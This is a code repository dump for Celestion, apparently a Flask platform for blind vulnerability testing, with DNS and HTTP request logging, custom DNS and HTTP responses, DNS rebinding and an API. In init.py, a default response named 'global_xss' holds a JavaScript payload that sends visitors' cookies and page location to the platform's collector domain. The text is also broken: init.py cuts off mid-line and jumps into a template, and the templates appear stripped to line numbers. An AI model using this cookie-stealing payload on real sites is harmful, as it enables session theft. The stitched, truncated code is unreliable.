├── .gitignore ├── README.md ├── celestion.py ├── init.py ├── lib ├── __init__.py ├── core │ ├── __init__.py │ ├── common.py │ ├── config.py │ ├── core.py │ ├── dnsserver.py │ ├── enums.py │ ├── env.py │ ├── g.py │ ├── log.py │ ├── model.py │ └── mysql.py ├── hander │ ├── __init__.py │ ├── apihander.py │ ├── basehander.py │ ├── indexhander.py │ └── manager │ │ ├── __init__.py │ │ ├── log │ │ ├── __init__.py │ │ ├── dnsloghander.py │ │ └── webloghander.py │ │ ├── setting │ │ ├── __init__.py │ │ ├── dnshander.py │ │ └── responsehander.py │ │ └── system │ │ ├── __init__.py │ │ ├── loghander.py │ │ └── userhander.py └── util │ ├── __init__.py │ ├── cipherutil.py │ ├── configutil.py │ └── util.py ├── requirements.txt ├── restart.sh ├── show ├── dns.png ├── http.png ├── show_dns.png └── show_http.png ├── static ├── css │ ├── bootstrap.min.css │ ├── bootstrap.min.css.map │ ├── buttons.bootstrap.min.css │ ├── custom.min.css │ ├── dataTables.bootstrap.min.css │ ├── font-awesome.min.css │ └── jquery.dataTables.min.css ├── fonts │ ├── fontawesome-webfont.ttf │ ├── fontawesome-webfont.woff │ ├── fontawesome-webfont.woff2 │ └── responsive.bootstrap.min.css ├── img │ ├── favicon.ico │ ├── img.jpg │ ├── sort_asc.png │ └── sort_both.png └── js │ ├── bootstrap.bundle.min.js │ ├── bootstrap.bundle.min.js.map │ ├── bootstrap.min.js │ ├── bootstrap.min.js.map │ ├── buttons.bootstrap.min.js │ ├── custom.min.js │ ├── dataTables.bootstrap.min.js │ ├── dataTables.buttons.min.js │ ├── jquery.dataTables.min.js │ ├── jquery.min.js │ ├── popper.js │ ├── popper.min.js │ └── popper.min.js.map └── template ├── layout.html ├── login.html └── manager ├── dashboard.html ├── log ├── dnslog.html └── weblog.html ├── profile.html ├── reset.html ├── setting ├── dns.html └── response.html └── system ├── log.html └── user.html /.gitignore: -------------------------------------------------------------------------------- 1 | # project 2 | .idea 3 | .git 4 | .DS_Store 5 | 6 | # python project 7 | *.pyc 8 | __pycache__ 9 | 10 | # hamster project 11 | venv/ 12 | log/ 13 | conf/ 14 | dev/ 15 | 16 | test.py -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 概述 2 | 3 | Celestion 是一个无回显漏洞测试辅助平台,平台使用flask编写,提供DNSLOG,HTTPLOG等功能。 (界面懒得弄,后续有需要再说)。 4 | 5 | [![Python 3.9](https://img.shields.io/badge/python-3.9-yellow.svg)](https://www.python.org/) 6 | 7 | 1. 提供DNSLOG 8 | 2. 提供HTTPLOG(完整request数据包) 9 | 3. 自定义HTTP返回包(status_code, headers, body) 10 | 4. 自定义DNS解析(A记录) 11 | 5. DNS Rebinding 12 | 6. 支持钉钉机器人 13 | 7. 支持API查询 14 | 15 | 16 | # 安装 17 | 18 | 1. 申请A.com, B.com 2个域名,并配置NS、A记录,参考[BugScanTeam/DNSLog](https://github.com/BugScanTeam/DNSLog) 的域名配置部分#安装-3 19 | 20 | 2. 修改 `conf/celestion.conf`(第一次运行后生成),配置内容请看注释。 21 | 22 | 3. 运行初始化 23 | 24 | ``` 25 | python3.9 -m venv venv 26 | source venv/bin/activate 27 | pip install -r requirements.txt 28 | python init.py 29 | ``` 30 | 31 | 3. 运行 32 | 33 | ``` 34 | source venv/bin/activate 35 | python celestion.py 36 | ``` 37 | 38 | # 模块 39 | 40 | ## 展示 41 | 42 | ![show](show/show_dns.png) 43 | 44 | ![show](show/show_http.png) 45 | 46 | ## 自定义DNS-A记录 47 | 48 | ![dns](show/dns.png) 49 | 50 | ## 自定义HTTP返回包 51 | 52 | ![dns](show/http.png) 53 | 54 | ## API接口 55 | 56 | 接口格式: 57 | 58 | ```python 59 | import requests 60 | url = "http://{ADMIN_DOMAIN}/{PREFIX_URL}/{path}" 61 | headers = { 62 | "API-Key": "你的API-Key", 63 | "Content-Type": "application/json", 64 | } 65 | data = {} 66 | response = requests.request("POST", url, headers=headers, json=data) 67 | print(response.json()) 68 | ``` 69 | 70 | API-Key 在 `http://{ADMIN_DOMAIN}/{PREFIX_URL}/reset` 页面可以看到。 71 | PREFIX_URL 默认为 `celestion` 72 | 73 | 1. `/api/weblog/list` 74 | 75 | ```python 76 | data = { 77 | "page": 1, 78 | "per_page": 10, 79 | "ip": "", 80 | "url": "", 81 | } 82 | ``` 83 | 84 | 2. `/api/weblog/detail` 85 | 86 | ```python 87 | data = { 88 | "id": 1, 89 | } 90 | ``` 91 | 92 | 3. `/api/dnslog/list` 93 | 94 | ```python 95 | data = { 96 | "domain": "", 97 | "ip": "", 98 | } 99 | ``` 100 | 101 | # 参考 102 | 103 | 1. [BugScanTeam/DNSLog](https://github.com/BugScanTeam/DNSLog) 104 | -------------------------------------------------------------------------------- /celestion.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | from lib.core.env import * 6 | from argparse import ArgumentParser 7 | from lib.core.core import start 8 | 9 | def arg_set(parser): 10 | parser.add_argument('-l', "--listen_host", type=str, help='Web listen host') 11 | parser.add_argument('-p', "--listen_port", type=int, help='Web listen port') 12 | parser.add_argument('-dl', "--listen_dns_host", type=str, help='DNS listen host') 13 | parser.add_argument('-dp', "--listen_dns_port", type=int, help='DNS listen port') 14 | parser.add_argument("-d", "--debug", action='store_true', help="Run debug model", default=False) 15 | parser.add_argument("--help", help="Show help", default=False, action='store_true') 16 | return parser 17 | 18 | if __name__ == '__main__': 19 | parser = ArgumentParser(add_help=False) 20 | parser = arg_set(parser) 21 | args = parser.parse_args() 22 | if args.help: 23 | parser.print_help() 24 | else: 25 | start(args) 26 | -------------------------------------------------------------------------------- /init.py: -------------------------------------------------------------------------------- 1 | # !/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | # @author: orleven 4 | 5 | import json 6 | from sqlalchemy.sql import text 7 | from sqlalchemy import create_engine 8 | from lib.core.g import conf 9 | from lib.core.g import mysql 10 | from lib.core.g import engine 11 | from lib.core.g import engine_session 12 | from lib.core.model import Base 13 | from lib.core.model import User 14 | from lib.core.model import ResponseSetting 15 | from lib.core.model import DNSSetting 16 | from lib.core.enums import UserRole 17 | from lib.core.enums import UserStatus 18 | from lib.core.enums import ValueType 19 | from lib.util.util import get_time 20 | from lib.util.util import random_string 21 | from werkzeug.security import generate_password_hash 22 | 23 | def create_table(): 24 | """ 25 | 创建数据库、表结构 26 | :return: 27 | """ 28 | # 创建数据库 29 | sqlalchemy_database_url_without_db = mysql.get_sqlalchemy_database_url_without_db() 30 | temp_engine = create_engine(sqlalchemy_database_url_without_db) 31 | with temp_engine.begin() as session: 32 | session.execute(text(f"CREATE DATABASE IF NOT EXISTS `{mysql.dbname}` CHARACTER SET {mysql.charset} COLLATE {mysql.collate};")) 33 | 34 | # 初始化表结构 35 | # Base.metadata.drop_all(engine) 36 | Base.metadata.create_all(engine) 37 | 38 | 39 | 40 | def init_user(): 41 | user_list = [ 42 | {"email": 'admin@celestion.com', "description": u"administrator", "username": "admin", 43 | "failed_time": None, "role": UserRole.ADMIN, 44 | "status": UserStatus.OK, "login_failed": 0, "created_time": get_time(), "login_time": None, 45 | "mark": u""}, 46 | ] 47 | with engine_session.begin() as session: 48 | for user in user_list: 49 | email = user['email'] 50 | username = user['username'] 51 | description = user['description'] 52 | password = generate_password_hash(conf.manager.default_password) 53 | status = user['status'] 54 | api_key = random_string(32) 55 | login_failed = user['login_failed'] 56 | created_time = user['created_time'] 57 | failed_time = user['failed_time'] 58 | login_time = user['login_time'] 59 | mark = user['mark'] 60 | role = user['role'] 61 | update_time = get_time() 62 | user = User(email=email, username=username, password=password, status=status, 63 | login_failed=login_failed, created_time=created_time, login_time=login_time, 64 | description=description, role=role, api_key=api_key, 65 | failed_time=failed_time, mark=mark, update_time=update_time) 66 | 67 | session.add(user) 68 | session.commit() 69 | 70 | def init_response_setting(): 71 | response_setting_list = [ 72 | {"name": 'global_xss', "path": "", "response_reason": "OK", "value_type": ValueType.MATCH, 73 | "response_status_code": 200, "response_headers": json.dumps({"ETag": 'W/"7-ZRvuH4DW9Kitwsjlj5Mh0bAOkR0"',"Server": "XXX"}), 74 | "response_content_type": "text/javascript;charset=UTF-8", "response_content": b"(new Image()).src = 'http://web." + bytes(conf.dnslog.dns_domain, 'utf-8') + b"/x?data='+document.cookie+'&location='+document.location;", "mark": f" 128 | 129 | 130 | 131 | {% block js %} 132 | {% endblock %} 133 | 134 | 135 | 136 | -------------------------------------------------------------------------------- /template/login.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | {% block head %} 9 | {{title}} - Celestion 10 | {% endblock %} 11 | 12 | {% block css %} 13 | 14 | 15 | {% endblock %} 16 | 17 | 18 | 19 |
20 | 21 |
22 |
24 |
25 |
26 |

Login

27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 | 36 |
37 | 38 |
39 |
40 |
41 | 43 |
44 | 46 |
47 |
48 |
49 |
50 |
51 |

{{message}}

52 | 53 |
54 |
55 |
56 |
57 |
58 | 59 |
60 |
61 |
62 |
63 | 64 | 65 | 66 | 67 | -------------------------------------------------------------------------------- /template/manager/dashboard.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | 3 | {% block title %}{{title}}{% endblock %} 4 | 5 | {% block head %} 6 | {{ super() }} 7 | 8 | 9 | 10 | {% endblock %} 11 | 12 | {% block css %} 13 | {{ super() }} 14 | 15 | 16 | 17 | {% endblock %} 18 | 19 | {% block content %} 20 | 21 | 22 | 23 | {% endblock %} 24 | 25 | {% block js %} 26 | {{ super() }} 27 | {% endblock %} -------------------------------------------------------------------------------- /template/manager/log/dnslog.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | 3 | {% block title %}{{title}}{% endblock %} 4 | 5 | {% block head %} 6 | {{ super() }} 7 | {% endblock %} 8 | 9 | {% block css %} 10 | 11 | {{ super() }} 12 | 13 | 14 | {% endblock %} 15 | 16 | {% block content %} 17 | 18 |
19 | 20 |
21 |
22 |
23 |
24 |

{{title}}

25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 | 36 |
37 |
38 | 39 |
40 |
41 | 42 |
43 |
44 | 45 |
46 |
47 |
48 |
49 | 50 |
51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 |
IPDomainTypeUpdateOperation
63 |
64 |
65 |
66 | 67 | 68 |
69 |
70 |
71 |
72 | 73 | 106 | {% endblock %} 107 | 108 | {% block js %} 109 | {{ super() }} 110 | 111 | 112 | 113 | 114 | 286 | {% endblock %} -------------------------------------------------------------------------------- /template/manager/profile.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | 3 | {% block title %}{{title}}{% endblock %} 4 | 5 | {% block head %} 6 | {{ super() }} 7 | {% endblock %} 8 | 9 | {% block css %} 10 | 11 | {{ super() }} 12 | 13 | 14 | {% endblock %} 15 | 16 | {% block content %} 17 | 18 |
19 | 20 |
21 |
22 |
23 |
24 |

{{title}}

25 |
26 |
27 |
28 |
29 |
30 |
31 |
33 | 34 | 35 | 37 | 38 | 39 | 41 | 42 | 43 | 45 |
46 |

{{message}}

47 |
48 | 50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 | 59 | {% endblock %} 60 | 61 | {% block js %} 62 | {{ super() }} 63 | 64 | 65 | 66 | 67 | 72 | {% endblock %} -------------------------------------------------------------------------------- /template/manager/reset.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | 3 | {% block title %}{{title}}{% endblock %} 4 | 5 | {% block head %} 6 | {{ super() }} 7 | {% endblock %} 8 | 9 | {% block css %} 10 | 11 | {{ super() }} 12 | 13 | 14 | {% endblock %} 15 | 16 | {% block content %} 17 | 18 |
19 | 20 |
21 |
22 |
23 |
24 |

{{title}} Password

25 |
26 |
27 |
28 |
29 |
30 |
31 |
33 | 34 | 35 | 37 | 38 | 39 | 41 | 42 | 43 | 45 |
46 |

{{message}}

47 |
48 | 49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |

{{title}} API-Key

58 |
59 |
60 |
61 |
62 |
63 |
64 |
66 | 67 | 69 |
70 | 71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 | 80 | {% endblock %} 81 | 82 | {% block js %} 83 | {{ super() }} 84 | 85 | 86 | 87 | 88 | 93 | {% endblock %} --------------------------------------------------------------------------------